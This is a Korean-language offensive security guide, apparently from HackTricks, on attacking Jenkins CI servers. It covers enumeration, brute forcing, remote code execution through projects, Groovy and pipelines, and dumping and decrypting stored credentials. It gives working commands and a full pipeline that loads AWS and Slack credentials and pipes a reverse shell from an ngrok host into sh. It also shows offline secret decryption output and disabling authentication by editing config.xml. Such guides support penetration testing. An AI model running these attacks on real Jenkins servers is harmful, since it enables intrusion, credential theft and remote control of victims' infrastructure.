Jenkins Security

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!

HackTricks를 지원하는 다른 방법:

기본 정보

Jenkins는 파이프라인을 사용하여 거의 모든 프로그래밍 언어 및 소스 코드 저장소의 연속적 통합 또는 연속적 전달 (CI/CD) 환경을 간단하게 설정하는 도구입니다. 또한 다양한 루틴 개발 작업을 자동화합니다. Jenkins는 개별 단계에 대한 스크립트 작성 필요성을 제거하지는 않지만, 빌드, 테스트 및 배포 도구의 전체 시퀀스를 수동으로 구성하기보다 빠르고 견고한 방법을 제공합니다.

pageBasic Jenkins Information

인증되지 않은 열거

(/people 또는 _/asynchPeople_과 같은 인증되지 않은 Jenkins 페이지를 찾기 위해 (현재 사용자 목록을 나열함) 인증 없이 흥미로운 Jenkins 페이지를 검색하려면 다음을 사용할 수 있습니다:

msf> use auxiliary/scanner/http/jenkins_enum

인증 없이 명령을 실행할 수 있는지 확인하십시오:

msf> use auxiliary/scanner/http/jenkins_command

자격 증명 없이 /asynchPeople/ 경로나 _/securityRealm/user/admin/search/index?q=_에서 사용자 이름을 확인할 수 있습니다.

Jenkins 버전을 /oops 또는 /error 경로에서 확인할 수 있습니다.

알려진 취약점

로그인

기본 정보에서 Jenkins 내부로 로그인하는 모든 방법을 확인할 수 있습니다:

pageBasic Jenkins Information

등록

계정을 생성하고 로그인할 수 있는 Jenkins 인스턴스를 찾을 수 있습니다. 그냥 그렇게 간단합니다.

SSO 로그인

또한 SSO 기능/플러그인이 존재하는 경우 테스트 계정(즉, 테스트 Github/Bitbucket 계정)을 사용하여 응용 프로그램에 로그인을 시도해야 합니다. 여기의 요령.

브루트포스

Jenkins암호 정책사용자 이름 브루트포스 방지가 부족합니다. 약한 암호 또는 사용자 이름을 암호로 사용하는 경우와 같이 사용자 이름을 암호로 사용하는 경우가 있을 수 있으므로 사용자를 브루트포스해야 합니다.

msf> use auxiliary/scanner/http/jenkins_login

패스워드 스프레이

이 파이썬 스크립트 또는 이 파워셸 스크립트를 사용합니다.

IP 화이트리스트 우회

많은 조직은 GitHub 또는 GitLab과 같은 SaaS 기반 소스 제어 관리 (SCM) 시스템을 내부에서 호스팅되는 Jenkins 또는 TeamCity와 결합합니다. 이러한 설정은 주로 웹훅 이벤트를 SaaS 소스 제어 공급 업체로부터 수신하여 파이프라인 작업을 트리거하기 위한 것입니다.

이를 달성하기 위해 조직은 SCM 플랫폼의 IP 범위를 화이트리스트에 등록하여 웹훅을 통해 내부 CI 시스템에 액세스할 수 있도록 허용합니다. 그러나 누구나 GitHub 또는 GitLab에 계정을 생성하고 웹훅을 트리거하도록 구성할 수 있으며, 이는 잠재적으로 내부 CI 시스템으로 요청을 보낼 수 있습니다.

확인: shttps://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/

내부 Jenkins 남용

이러한 시나리오에서는 Jenkins에 액세스할 수 있는 유효한 계정이 있다고 가정합니다.

Jenkins에 구성된 인증 메커니즘 및 침해된 사용자의 권한에 따라 다음 공격을 수행할 수도 있고 없을 수도 있습니다.

자세한 정보는 기본 정보를 확인하십시오:

pageBasic Jenkins Information

사용자 목록 나열

Jenkins에 액세스한 경우 http://127.0.0.1:8080/asynchPeople/에서 등록된 다른 사용자를 나열할 수 있습니다.

평문 비밀 정보를 찾기 위한 빌드 덤프

이 스크립트를 사용하여 빌드 콘솔 출력 및 빌드 환경 변수를 덤프하여 평문 비밀 정보를 찾을 수 있습니다.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

SSH 자격 증명 도용

만약 침해된 사용자가 새로운 Jenkins 노드를 생성/수정할 권한이 충분하고 이미 다른 노드에 액세스하기 위해 저장된 SSH 자격 증명이 있다면, 그는 노드를 생성/수정하고 호스트를 설정하여 자격 증명을 기록하고 호스트 키를 확인하지 않고 그 자격 증명을 도용할 수 있습니다:

일반적으로 Jenkins SSH 자격 증명은 전역 제공자(/credentials/)에 있으므로, 다른 비밀과 마찬가지로 그것들을 덤프할 수 있습니다. 자세한 정보는 비밀 덤프 섹션에서 확인할 수 있습니다.

Jenkins에서 RCE

Jenkins 서버에서 셸을 획들하면 공격자는 모든 비밀환경 변수를 노출시키고 동일한 네트워크에 있는 다른 기계들을 악용하거나 심지어 클라우드 자격 증명을 수집할 수 있는 기회를 얻습니다.

기본적으로 Jenkins는 SYSTEM으로 실행됩니다. 따라서, 이를 침해하면 공격자에게 SYSTEM 권한을 부여합니다.

프로젝트 생성/수정을 통한 RCE

프로젝트 생성/수정은 Jenkins 서버에서 RCE를 얻는 방법 중 하나입니다:

pageJenkins RCE Creating/Modifying Project

Groovy 스크립트 실행을 통한 RCE

새 프로젝트를 생성하는 것보다 Groovy 스크립트를 실행하여 RCE를 얻을 수도 있습니다:

pageJenkins RCE with Groovy Script

파이프라인 생성/수정을 통한 RCE

파이프라인을 생성/수정함으로써 RCE를 얻을 수도 있습니다:

pageJenkins RCE Creating/Modifying Pipeline

파이프라인 악용

파이프라인을 악용하려면 여전히 Jenkins에 액세스해야 합니다.

빌드 파이프라인

파이프라인프로젝트에서 빌드 메커니즘으로 사용될 수도 있으며, 이 경우 저장소 내부에 있는 파일을 구성할 수 있습니다. 기본적으로 /Jenkinsfile이 사용됩니다:

저장소 외부에도 파이프라인 구성 파일을 저장할 수 있으며(예: 다른 저장소에), 저장소 액세스와 파이프라인 액세스를 분리하는 것이 목적입니다.

공격자가 해당 파일에 쓰기 액세스 권한이 있다면, 그 파일을 수정하고 Jenkins에 액세스하지 않고도 파이프라인을 트리거할 수 있습니다. 공격자는 일부 브랜치 보호를 우회해야 할 수도 있습니다(플랫폼 및 사용자 권한에 따라 우회될 수도 있고 그렇지 않을 수도 있습니다).

사용자 정의 파이프라인을 실행하는 가장 일반적인 트리거는 다음과 같습니다:

  • 주 브랜치에 대한 풀 리퀘스트(또는 다른 브랜치에 대한 가능성)

  • 주 브랜치로의 푸시(또는 다른 브랜치에 대한 가능성)

  • 주 브랜치 업데이트 및 실행이 완료될 때까지 기다리기

외부 사용자인 경우 다른 사용자/조직의 저장소의 주 브랜치에 PR을 생성하고 파이프라인을 트리거할 것을 기대해서는 안 됩니다... 그러나 잘못 구성되어 있다면 이를 악용하여 기업을 완전히 침해할 수도 있습니다.

파이프라인 RCE

이전 RCE 섹션에서 이미 파이프라인 수정을 통해 RCE를 얻는 기술이 이미 언급되었습니다.

Env 변수 확인

전체 파이프라인이나 특정 단계에 대해 평문 env 변수를 선언할 수 있습니다. 이러한 env 변수에는 민감한 정보가 포함되어서는 안 되지만, 공격자는 항상 모든 파이프라인 구성/Jenkinsfile을 확인할 수 있습니다:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

시크릿 덤프

Jenkins에서 시크릿이 일반적으로 처리되는 방법에 대한 정보는 다음의 기본 정보를 확인하십시오:

pageBasic Jenkins Information

자격 증명은 글로벌 제공자(/credentials/) 또는 특정 프로젝트(/job/<project-name>/configure)로 범위가 지정될 수 있습니다. 따라서 모든 시크릿을 유출하려면 시크릿을 포함하는 모든 프로젝트를 적어도 모두 손상시켜 사용자 정의/오염된 파이프라인을 실행해야 합니다.

또 다른 문제는 파이프라인의 환경 내의 시크릿을 얻으려면 시크릿의 이름과 유형을 알아야 한다는 것입니다. 예를 들어, usernamePassword 시크릿을 string 시크릿으로 로드하려고 하면 다음 오류가 발생합니다:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

다음은 일반적인 비밀 유형을로드하는 방법입니다:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

이 페이지의 끝에서 모든 자격 증명 유형을 찾을 수 있습니다: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

한꺼번에 모든 비밀을 덤프하는 가장 좋은 방법Jenkins 머신을 침해하여(예: 내장 노드에 역쉘 실행) 마스터 키암호화된 비밀유출하고 오프라인에서 복호화하는 것입니다. 이에 대한 자세한 내용은 Nodes & Agents 섹션Post Exploitation 섹션에서 확인할 수 있습니다.

트리거

문서에서: triggers 지시문은 파이프라인이 다시 트리거되는 자동화된 방식을 정의합니다. GitHub 또는 BitBucket과 같은 소스와 통합된 파이프라인의 경우 triggers가 필요하지 않을 수 있으며 웹훅 기반 통합이 이미 존재할 수 있습니다. 현재 사용 가능한 트리거는 cron, pollSCM, upstream입니다.

Cron 예시:

triggers { cron('H */4 * * 1-5') }

문서의 다른 예시를 확인하세요.

노드 & 에이전트

Jenkins 인스턴스에는 다른 머신에서 실행되는 다른 에이전트가 있을 수 있습니다. 공격자의 관점에서, 다른 머신에 액세스하는 것은 도난할 수 있는 다른 잠재적인 클라우드 자격 증명이나 다른 네트워크 액세스를 의미하며, 이를 통해 다른 머신을 악용할 수 있습니다.

자세한 정보는 다음의 기본 정보를 확인하세요:

pageBasic Jenkins Information

/computer/에서 구성된 노드를 나열할 수 있으며, 일반적으로 **내장 노드 ** (Jenkins를 실행하는 노드)와 추가로 찾을 수 있습니다:

내장 노드를 침해하는 것이 특히 흥미로운데, 이곳에는 민감한 Jenkins 정보가 포함되어 있습니다.

파이프라인을 내장 Jenkins 노드에서 실행하려면 파이프라인 내에서 다음 구성을 지정할 수 있습니다:

pipeline {
agent {label 'built-in'}

완전한 예제

특정 에이전트에서의 파이프라인, cron 트리거와 함께, 파이프라인 및 stage 환경 변수를 사용하여 2개의 변수를 스텝에 로드하고 역쉘을 전송하는 예시:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

사후 침투

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

충분한 권한이 있다면 /credentials/에 액세스하여 시크릿을 나열할 수 있습니다. 이는 credentials.xml 파일 내의 시크릿만 나열하며, 빌드 구성 파일에는 더 많은 자격 증명이 포함될 수 있음을 유의하십시오.

만약 각 프로젝트의 구성을 볼 수 있다면, 해당 구성에서 저장소에 액세스하는 데 사용되는 자격 증명(시크릿)의 이름프로젝트의 다른 자격 증명을 볼 수도 있습니다.

Groovy를 통해

pageJenkins Dumping Secrets from Groovy

디스크로부터

다음 파일들은 Jenkins 시크릿을 해독하는 데 필요합니다:

  • secrets/master.key

  • secrets/hudson.util.Secret

이러한 시크릿은 일반적으로 다음 위치에서 찾을 수 있습니다:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

다음은 해당 시크릿을 찾기 위한 정규식입니다:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Jenkins 비밀을 오프라인으로 해독하기

만약 비밀을 해독하기 위해 필요한 암호를 덤프했다면, 이 스크립트 를 사용하여 해당 비밀을 해독하세요.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

그루비에서 Jenkins 비밀을 해독하기

println(hudson.util.Secret.decrypt("{...}"))

새로운 관리자 사용자 생성

  1. /var/lib/jenkins/config.xml 또는 C:\Program Files (x86)\Jenkis\에서 Jenkins config.xml 파일에 액세스합니다.

  2. <useSecurity>true</useSecurity>라는 단어를 찾아 **true**를 **false**로 변경합니다.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml를 실행합니다.

  4. Jenkins 서버를 재시작합니다: service jenkins restart

  5. 이제 다시 Jenkins 포털로 이동하면 Jenkins가 이번에는 자격 증명을 요청하지 않습니다. "Manage Jenkins"로 이동하여 관리자 암호를 다시 설정합니다.

  6. 설정을 <useSecurity>true</useSecurity>로 변경하고 Jenkins를 다시 재시작하여 보안을 다시 활성화합니다.

참고 자료

最終更新